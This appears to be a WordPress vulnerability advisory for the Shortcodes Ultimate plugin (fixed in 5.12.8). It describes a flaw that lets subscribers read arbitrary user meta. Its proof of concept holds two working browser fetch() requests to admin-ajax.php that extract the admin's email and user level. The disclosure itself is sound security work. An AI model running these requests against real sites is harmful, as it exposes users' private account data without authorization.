WordPress Plugin Vulnerabilities

Shortcodes Ultimate < 5.12.8 - Subscriber+ User Meta Disclosure

Description

The plugin does not validate the user meta to be retrieved via the user shortcode, allowing any authenticated users such as subscriber to retrieve arbitrary user meta (except the user_pass), such as the user email and activation key by default.

Proof of Concept

Run one of the below commands in the developer console of the web browser while being on the blog as a subscriber

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_user field='user_email' user_id='1']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the email of the admin

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_user field='wp_user_level' user_id='1']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Affects Plugins

Fixed in 5.12.8

References

Classification

Type
SENSITIVE DATA DISCLOSURE
CWE

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Submitter website
Verified
Yes

Timeline

Publicly Published
2023-02-27 (about 1 years ago)
Added
2023-02-27 (about 1 years ago)
Last Updated
2023-02-27 (about 1 years ago)

Other